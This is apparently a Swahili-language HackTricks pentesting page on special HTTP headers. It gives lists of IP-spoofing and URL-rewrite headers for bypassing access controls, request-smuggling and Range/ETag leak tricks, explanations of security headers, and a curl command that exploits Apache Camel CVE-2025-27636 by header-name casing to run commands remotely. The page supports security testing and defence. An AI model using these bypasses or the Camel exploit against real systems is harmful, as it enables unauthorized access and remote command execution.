Vichwa Maalum vya HTTP

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Orodha za maneno & Zana

Vichwa vya Kubadilisha Eneo

Andika upya chanzo cha IP:

  • X-Originating-IP: 127.0.0.1
  • X-Forwarded-For: 127.0.0.1
  • X-Forwarded: 127.0.0.1
  • Forwarded-For: 127.0.0.1
  • X-Forwarded-Host: 127.0.0.1
  • X-Remote-IP: 127.0.0.1
  • X-Remote-Addr: 127.0.0.1
  • X-ProxyUser-Ip: 127.0.0.1
  • X-Original-URL: 127.0.0.1
  • Client-IP: 127.0.0.1
  • X-Client-IP: 127.0.0.1
  • X-Host: 127.0.0.1
  • True-Client-IP: 127.0.0.1
  • Cluster-Client-IP: 127.0.0.1
  • Via: 1.0 fred, 1.1 127.0.0.1
  • Connection: close, X-Forwarded-For (Angalia hop-by-hop headers)

Andika upya eneo:

  • X-Original-URL: /admin/console
  • X-Rewrite-URL: /admin/console

Hop-by-Hop headers

Hop-by-hop header ni kichwa kilichoundwa kushughulikiwa na proxy inayoshughulikia ombi kwa sasa, tofauti na end-to-end header ambayo huwasilishwa hadi mwisho.

  • Connection: close, X-Forwarded-For

hop-by-hop headers

HTTP Request Smuggling

  • Content-Length: 30
  • Transfer-Encoding: chunked

HTTP Request Smuggling / HTTP Desync Attack

The Expect header

Inawezekana kwa mteja kutuma kichwa Expect: 100-continue na kisha server kujibu na HTTP/1.1 100 Continue ili kumruhusu mteja kuendelea kutuma body ya ombi. Hata hivyo, baadhi ya proxies hawapendi kichwa hiki.

Matokeo ya kuvutia ya Expect: 100-continue:

  • Kutuma ombi la HEAD lenye body, server ikaona kuwa HEAD haina body na ikaendelea kuweka connection wazi hadi ilipoisha muda.
  • Servers nyingine zilituma data zisizo za kawaida: data nasibu zilizosomwa kutoka socket katika response, vifuniko vya siri au hata ikaruhusu kuzuia front-end kuondoa thamani za vichwa.
  • Pia ilisababisha desync ya 0.CL kwa sababu backend iliweza kujibu na 400 badala ya 100, lakini proxy front-end ilikuwa tayari kutuma body ya ombi la awali, hivyo ililituma na backend ikaliona kama ombi jipya.
  • Kutuma utofauti wa Expect: y 100-continue pia ilisababisha desync ya 0.CL.
  • Hitilafu sawa ambapo backend ilijibu na 404 ilizalisha desync ya CL.0 kwa sababu ombi mbaya ulionyesha Content-Length, hivyo backend ilituma ombi mbaya + Content-Length bytes za ombi lijalo (la mshitakiwa), hii ilisababisha desync kwa mstari wa mezani: backend ilituma response ya 404 kwa ombi mbaya + response za ombi la mshitakiwa, lakini front-end ilidhani ombi 1 tu lilitumwa, hivyo response ya pili ilisafirishwa kwa mshitakiwa mwingine na kadhalika…

Kwa info zaidi kuhusu HTTP Request Smuggling angalia:

HTTP Request Smuggling / HTTP Desync Attack

Cache Headers

Server Cache Headers:

  • X-Cache katika response inaweza kuwa na thamani miss wakati ombi halikuhifadhiwa na thamani hit wakati limehifadhiwa
  • Tabia sawa katika kichwa Cf-Cache-Status
  • Cache-Control inaonyesha ikiwa rasilimali inahifadhiwa na lini itahifadhiwa tena: Cache-Control: public, max-age=1800
  • Vary kawaida hutumika katika response kuonyesha vichwa vya ziada vinavyotendewa kama sehemu ya key ya cache hata kama kawaida havijumuishwi.
  • Age inaelezea sekunde ambazo kitu kimekuwa katika cache ya proxy.
  • Server-Timing: cdn-cache; desc=HIT pia inaonyesha kuwa rasilimali ilihifadhiwa

Cache Poisoning and Cache Deception

Local Cache headers:

  • Clear-Site-Data: Kichwa cha kuonyesha cache ambayo inapaswa kuondolewa: Clear-Site-Data: "cache", "cookies"
  • Expires: Inabeba tarehe/muda ambapo response inapaswa kuisha: Expires: Wed, 21 Oct 2015 07:28:00 GMT
  • Pragma: no-cache sawa na Cache-Control: no-cache
  • Warning: Kichwa cha jumla cha HTTP kinachobeba taarifa kuhusu matatizo yanayoweza kuwepo na status ya ujumbe. Kunaweza kuonekana zaidi ya kichwa kimoja cha Warning katika response. Warning: 110 anderson/1.3.37 "Response is stale"

Conditionals

  • Mombi zinazotumia vichwa hivi: If-Modified-Since na If-Unmodified-Since zitatolewa data tu ikiwa response header Last-Modified ina wakati tofauti.
  • Mombi ya masharti yanayotumia If-Match na If-None-Match hutumia thamani ya Etag hivyo web server itatuma maudhui ya response ikiwa data (Etag) imebadilika. Etag hupatikana kutoka kwenye HTTP response.
  • Thamani ya Etag kawaida huhesabiwa kwa msingi wa maudhui ya response. Kwa mfano, ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI" inaonyesha kwamba Etag ni Sha1 ya bytes 37.

Range requests

  • Accept-Ranges: Inaonyesha kama server inasaidia range requests, na ikiwa ndiyo ni kwa unit gani range inaweza kuelezwa. Accept-Ranges: <range-unit>
  • Range: Inaonyesha sehemu ya hati ambayo server inapaswa kurudisha. Kwa mfano, Range:80-100 itarudisha bytes 80 hadi 100 za response asilia kwa status code 206 Partial Content. Pia kumbuka kuondoa kichwa Accept-Encoding kutoka kwa ombi.
  • Hii inaweza kuwa muhimu kupata response yenye javascript iliyoreflect inayoweza kuepukwa vinginevyo. Lakini kuibiashara hii ungetakiwa kuingiza vichwa hivi kwenye ombi.
  • If-Range: Inaunda ombi la range la masharti ambalo linafanywa tu ikiwa etag au tarehe iliyotolewa inalingana na rasilimali ya mbali. Inatumika kuzuia kupakua ranges mbili kutoka kwa toleo lisilolingana la rasilimali.
  • Content-Range: Inaonyesha wapi katika ujumbe kamili wa body ujumbe wa sehemu unafaa.

Message body information

  • Content-Length: Ukubwa wa rasilimali, kwa namba ya desimali ya bytes.
  • Content-Type: Inaonyesha aina ya media ya rasilimali
  • Content-Encoding: Inatumika kubainisha algorithm ya compression.
  • Content-Language: Inaelezea lugha(za) za binadamu zinazokusudiwa kwa watazamaji, ili kumruhusu mtumiaji kutofautisha kulingana na lugha anayoipendelea.
  • Content-Location: Inaonyesha eneo mbadala kwa data iliyorudishwa.

Kwa mtazamo wa pentest taarifa hizi kwa kawaida ni “zinazotumika kidogo”, lakini ikiwa rasilimali imekingwa na 401 au 403 na unaweza kupata njia yoyote ya kupata taarifa hizi, hii inaweza kuwa ya kuvutia.
Kwa mfano, mchanganyiko wa Range na Etag katika ombi la HEAD unaweza leak maudhui ya ukurasa kupitia HEAD requests:

  • Ombi lenye kichwa Range: bytes=20-20 na response yenye ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y" inaleak kuwa SHA1 ya byte 20 ni ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y

Server Info

  • Server: Apache/2.4.1 (Unix)
  • X-Powered-By: PHP/5.3.3

Udhibiti

  • Allow: Kichwa hiki hutumika kuwasilisha njia za HTTP ambazo rasilimali inaweza kushughulikia. Kwa mfano, inaweza kubainishwa kama Allow: GET, POST, HEAD, ikionyesha kuwa rasilimali inasaidia njia hizi.
  • Expect: Inatumika na mteja kuonyesha matarajio ambayo server inapaswa kuyakidhi ili ombi kushughulikiwa kwa mafanikio. Mfano wa kawaida ni Expect: 100-continue, ambayo inaashiria kuwa mteja anakusudia kutuma payload kubwa. Mteja anatazamia majibu ya 100 (Continue) kabla ya kuendelea na uhamisho. Mekanizimu hii husaidia kuimarisha matumizi ya mtandao kwa kusubiri uthibitisho wa server.

Upakuaji

  • Kichwa cha Content-Disposition katika HTTP responses kinaelekeza kama faili inapaswa kuonyeshwa inline (ndani ya ukurasa wa wavuti) au kutendewa kama attachment (kupakuliwa). Kwa mfano:
Content-Disposition: attachment; filename="filename.jpg"

Hii inamaanisha faili iliyoitwa “filename.jpg” inakusudiwa kupakuliwa na kuhifadhiwa.

Vichwa vya Usalama

Content Security Policy (CSP)

Content Security Policy (CSP) Bypass

Trusted Types

Kwa kuhakikisha Trusted Types kupitia CSP, programu zinaweza kulindwa dhidi ya mashambulizi ya DOM XSS. Trusted Types zinahakikisha kwamba vitu vilivyotengenezwa mahsusi tu, vinavyokubaliana na sera za usalama zilizowekwa, vinaweza kutumika katika miito hatarishi ya API za wavuti, na hivyo kulinda JavaScript kwa chaguo-msingi.

// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
// Name and create a policy
const policy = trustedTypes.createPolicy('escapePolicy', {
createHTML: str => str.replace(/\</g, '&lt;').replace(/>/g, '&gt;');
});
}
// Assignment of raw strings is blocked, ensuring safety.
el.innerHTML = "some string" // Throws an exception.
const escaped = policy.createHTML("<img src=x onerror=alert(1)>")
el.innerHTML = escaped // Results in safe assignment.

X-Content-Type-Options

Kichwa hiki kinazuia uchunguzi wa aina za MIME, tabia ambayo inaweza kusababisha udhaifu wa XSS. Kinahakikisha kwamba vivinjari vinaheshimu aina za MIME zilizobainishwa na seva.

X-Content-Type-Options: nosniff

X-Frame-Options

Kupambana na clickjacking, header hii inaleta vizuizi juu ya jinsi nyaraka zinaweza kuingizwa katika <frame>, <iframe>, <embed>, au <object> tags, ikipendekeza nyaraka zote zibainishe wazi ruhusa zao za uingizaji.

X-Frame-Options: DENY

Cross-Origin Resource Policy (CORP) na Cross-Origin Resource Sharing (CORS)

CORP ni muhimu kwa kutaja ni rasilimali gani zinaweza kupakiwa na tovuti, hivyo kupunguza cross-site leaks. CORS, kwa upande mwingine, inaruhusu utaratibu wenye utele zaidi wa kushiriki rasilimali za cross-origin, ukiruhusu kupunguza vikwazo vya same-origin policy chini ya masharti fulani.

Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true

Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)

COEP na COOP ni muhimu kwa kuwezesha isolation ya cross-origin, na kupunguza kwa kiasi kikubwa hatari ya mashambulizi yanayofanana na Spectre. Zinadhibiti upakiaji wa rasilimali za cross-origin na mwingiliano na madirisha ya cross-origin, mtawalia.

Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups

HTTP Strict Transport Security (HSTS)

Mwishowe, HSTS ni kipengele cha usalama kinachowalazimisha vivinjari kuwasiliana na seva tu kupitia muunganisho salama wa HTTPS, hivyo kuboresha faragha na usalama.

Strict-Transport-Security: max-age=3153600

Permissions-Policy (formerly Feature-Policy)

Permissions-Policy inawaruhusu watengenezaji wa wavuti kwa njia chaguo-chagu kuamilisha, kuzima, au kubadilisha tabia ya vipengele fulani vya kivinjari na APIs ndani ya nyaraka. Ni mrithi wa header ya Feature-Policy, ambayo sasa imekatishwa. Header hii husaidia kupunguza eneo la mashambulizi kwa kuzuia ufikiaji wa vipengele vyenye nguvu vinavyoweza kutumiwa vibaya.

Permissions-Policy: geolocation=(), camera=(), microphone=()

Maagizo ya kawaida:

DirectiveMaelezo
accelerometerInadhibiti ufikiaji wa sensori ya Accelerometer
cameraInadhibiti ufikiaji wa vifaa vya pembejeo za video (webcam)
geolocationInadhibiti ufikiaji wa Geolocation API
gyroscopeInadhibiti ufikiaji wa sensori ya Gyroscope
magnetometerInadhibiti ufikiaji wa sensori ya Magnetometer
microphoneInadhibiti ufikiaji wa vifaa vya pembejeo za sauti
paymentInadhibiti ufikiaji wa Payment Request API
usbInadhibiti ufikiaji wa WebUSB API
fullscreenInadhibiti ufikiaji wa Fullscreen API
autoplayInadhibiti kama vyombo vya habari vinaweza kucheza moja kwa moja
clipboard-readInadhibiti ufikiaji wa kusoma yaliyopo kwenye clipboard
clipboard-writeInadhibiti ufikiaji wa kuandika kwenye clipboard

Thamani za sintaksia:

  • () - Inazima kipengele kabisa
  • (self) - Inaruhusu kipengele kwa chanzo sawa pekee
  • * - Inaruhusu kipengele kwa vyanzo vyote
  • (self "https://example.com") - Inaruhusu kwa chanzo sawa na domeini iliyotajwa

Mipangilio ya mfano:

# Restrictive policy - disable most features
Permissions-Policy: geolocation=(), camera=(), microphone=(), payment=(), usb=()

# Allow camera only from same origin
Permissions-Policy: camera=(self)

# Allow geolocation for same origin and a trusted partner
Permissions-Policy: geolocation=(self "https://maps.example.com")

Kwa mtazamo wa usalama, header za Permissions-Policy zinazokosekana au zinazoruhusu kila kitu zinaweza kumruhusu mshambuliaji (kwa mfano, kupitia XSS au iframes zilizowekwa) kutumia vibaya vipengele vyenye nguvu vya kivinjari. Daima punguza vipengele kwa kiwango cha chini kinachohitajika kwa programu yako.

Header Name Casing Bypass

HTTP/1.1 inaeleza majina ya field za header kama hayazingatii makubwa/dogo ya herufi (RFC 9110 §5.1). Walakini, ni kawaida sana kukuta middleware maalum, vichujio vya usalama, au loji ya biashara zinazolinganishwa jina la header kama ilivyopokelewa bila kusawazisha kesi kwanza (kwa mfano, header.equals("CamelExecCommandExecutable")). Ikiwa ukaguzi huo unafanywa kwa kuzingatia kesi, mshambuliaji anaweza kuupitisha kwa kutuma header ile ile kwa utofauti wa herufi.

Typical situations where this mistake appears:

  • Custom allow/deny lists that try to block “dangerous” internal headers before the request reaches a sensitive component.
  • In-house implementations of reverse-proxy pseudo-headers (e.g. X-Forwarded-For sanitisation).
  • Frameworks that expose management / debug endpoints and rely on header names for authentication or command selection.

Abusing the bypass

  1. Tambua header ambayo inasafishwa au kuthibitishwa upande wa server (kwa mfano, kwa kusoma msimbo wa chanzo, nyaraka, au ujumbe wa makosa).
  2. Tuma header ile ile kwa casing tofauti (mchanganyiko wa herufi au zote herufi kubwa). Kwa sababu stack za HTTP kwa kawaida husawazisha headers tu baada msimbo wa mtumiaji umeendeshwa, ukaguzi uliowekwa hatarini unaweza kupitishwa.
  3. Ikiwa sehemu ya downstream inashughulikia headers bila kuzingatia herufi kubwa/dogo (wengi hufanya hivyo), itakubali thamani inayodhibitiwa na mshambuliaji.

Mfano: Apache Camel exec RCE (CVE-2025-27636)

Katika matoleo yaliyoathirika ya Apache Camel njia za Command Center zinajaribu kuzuia maombi yasiyo ya kuaminika kwa kuondoa headers CamelExecCommandExecutable na CamelExecCommandArgs. Ulinganisho ulifanywa kwa kutumia equals() hivyo majina hasa ya herufi ndogo pekee yaliondolewa.

# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"

Headers zinawafikia sehemu ya exec bila kuchujwa, na kusababisha remote command execution kwa kutumia vibali vya Camel process.

Utambuzi & Uzuiaji

  • Sanifisha majina yote ya header kuwa katika aina moja ya herufi (kawaida lowercase) kabla ya kufanya kulinganisha kwa allow/deny.
  • Kataa nakala zinazoshukiwa: ikiwa Header: na HeAdEr: zipo pamoja, zitachukuliwa kama anomalia.
  • Tumia allow-list chanya inayotekelezwa baada ya canonicalisation.
  • Linda management endpoints kwa authentication na network segmentation.

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks